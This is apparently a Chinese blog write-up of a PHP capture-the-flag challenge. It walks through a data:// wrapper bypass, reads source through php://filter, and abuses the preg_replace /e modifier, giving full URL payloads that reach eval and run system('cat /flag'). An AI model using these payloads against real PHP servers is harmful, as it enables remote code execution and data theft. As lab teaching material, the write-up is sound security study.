开个新坑
这道题其实说起来也很简单,不过涉及到没见过的复刻写一遍。
启动靶机,访问直接给出了index.php的代码
<?php
error_reporting(0);
$text = $_GET["text"];
$file = $_GET["file"];
if(isset($text)&&(file_get_contents($text,'r')==="I have a dream")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){
die("Not now!");
}
include($file); //next.php
} else {
highlight_file(__FILE__);
}
?>
使用了file_get_contents代码,然后检测是否含有I have a dream,然后关于file字段,他会检测有无flag。
解题思路
- 绕过
file_get_contents条件 - 绕过
preg_match与文件包含 - 读取
next.php源码 preg_replace /e漏洞原理- 构造 Payload 实现代码执行
1.绕过 file_get_contents 条件
要求:file_get_contents($text) 的返回值完全等于字符串 I have a dream。
file_get_contents 不仅支持本地文件路径,还支持 PHP 伪协议。如果直接传 $text=I have a dream,函数会试图打开一个文件名为 I have a dream 的文件,根本不存在。但我们可以使用 data:// 伪协议来构造任意文本内容。
data://text/plain,I have a dream会返回纯文本I have a dream。- URL 编码后:
data://text/plain,I%20have%20a%20dream。
于是第一个参数 text 构造完毕。
2.绕过 preg_match 与文件包含
要求:$file 中不能包含连续小写字符串 flag。
目标:通过 include($file) 执行或读取到下一步的提示。
源码里非常明显地注释了 //next.php,说明下一步要包含的文件就是 next.php。next.php 这个字符串中不含 flag,直接传入即可绕过检测。
于是第二个参数 file=next.php。
?text=data://text/plain,I%20have%20a%20dream&file=next.php
3.读取 next.php 源码
因为 include 会直接执行 PHP 代码,如果文件中没有输出我们就看不到内容。此时可以用 php://filter 伪协议把文件内容以 Base64 的形式读出来,避免被执行。
?text=data://text/plain,I%20have%20a%20dream&file=php://filter/convert.base64-encode/resource=next.php
得到 Base64 字符串后解码,拿到了 next.php 的源代码。
<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;
function complex($re, $str) {
return preg_replace(
'/(' . $re . ')/ei',
'strtolower("\\1")',
$str
);
}
foreach($_GET as $re => $str) {
echo complex($re, $str). "\n";
}
function getFlag(){
@eval($_GET['cmd']);
}
分析源码
这里有两个重点:
- 存在一个永远不会被调用的
getFlag()函数,内容为@eval($_GET['cmd']);,这是一个预留的后门执行点,说明我们最终需要通过eval执行系统命令。 - 存在一个漏洞函数
complex(),使用了 PHP 5.x 中存在的/e修饰符。
4.preg_replace /e 漏洞原理
在正则末尾加上 e,例如 '/正则/e',PHP 会把 $replacement 参数 当作 PHP 代码来执行,执行结果才作为最终的替换文本。
preg_replace('/\d+/e', 'pow(2, \\0)', 'x 3 y 4');
// \\0 是匹配到的整个数字
// 实际执行了 pow(2, 3) 和 pow(2, 4)
// 返回:x 8 y 16
这里 \\0 被替换成匹配到的 3,然后执行 pow(2, 3) 得到 8。看起来无害,但问题就出在这里。
如果 $replacement 中引用了匹配到的子模式(\\1、\\0 等),那么匹配到的字符串会被直接拼接到 PHP 代码里。一旦我们能控制匹配到的内容,就等于可以向执行的代码里注入任意 PHP 语句。
$pattern = '/(.*)/e'; // 匹配整个字符串
$replacement = 'strtoupper("\\1")'; // 期望把匹配内容转大写
$subject = 'hello';
echo preg_replace($pattern, $replacement, $subject);
// 执行:strtoupper("hello") → 输出 HELLO
如果 $subject 是我们可控的,比如来自 $_GET['input'],那么可以传入:
hello"); phpinfo(); /*
替换后实际执行的代码变成:
strtoupper("hello"); phpinfo(); /*")
分号前面的 strtoupper("hello"); 正常执行,然后执行了我们注入的 phpinfo(),后面的 /* 把剩余部分注释掉避免语法错误。
5.构造 Payload 实现代码执行
function complex($re, $str) {
return preg_replace(
'/(' . $re . ')/ei',
'strtolower("\\1")',
$str
);
}
foreach($_GET as $re => $str) {
echo complex($re, $str). "\n";
}
本道题的代码这里:
$re是我们 GET 参数的名字,被拼接成正则表达式。$str是 GET 参数的值,作为被匹配的字符串。- 替换代码是
strtolower("\\1"),其中\\1会被替换成匹配到的内容。
我们需要让 $str 里包含能闭合引号并注入代码的内容。但我们无法直接使用分号和注释符,因为 $str 整个会被放进 strtolower("..."),如果注入分号,会破坏函数调用语法。
于是利用双引号内的复杂变量解析 ${...}
PHP 在双引号字符串中看到 ${...} 会尝试执行花括号里的表达式。所以:
参数名(正则):\S*(匹配所有非空白字符)
参数值:{${eval($_GET[cmd])}}
preg_replace 执行后,替换代码变成:
strtolower("{${eval($_GET[cmd])}}")
于是构造的payload如下
?text=data://text/plain,I%20have%20a%20dream
&file=next.php
&\S*={${eval($_GET[cmd])}}
&cmd=system('cat /flag');
总结
题目并不难,一环扣一环出的有点小巧思,遂记录

Comments NOTHING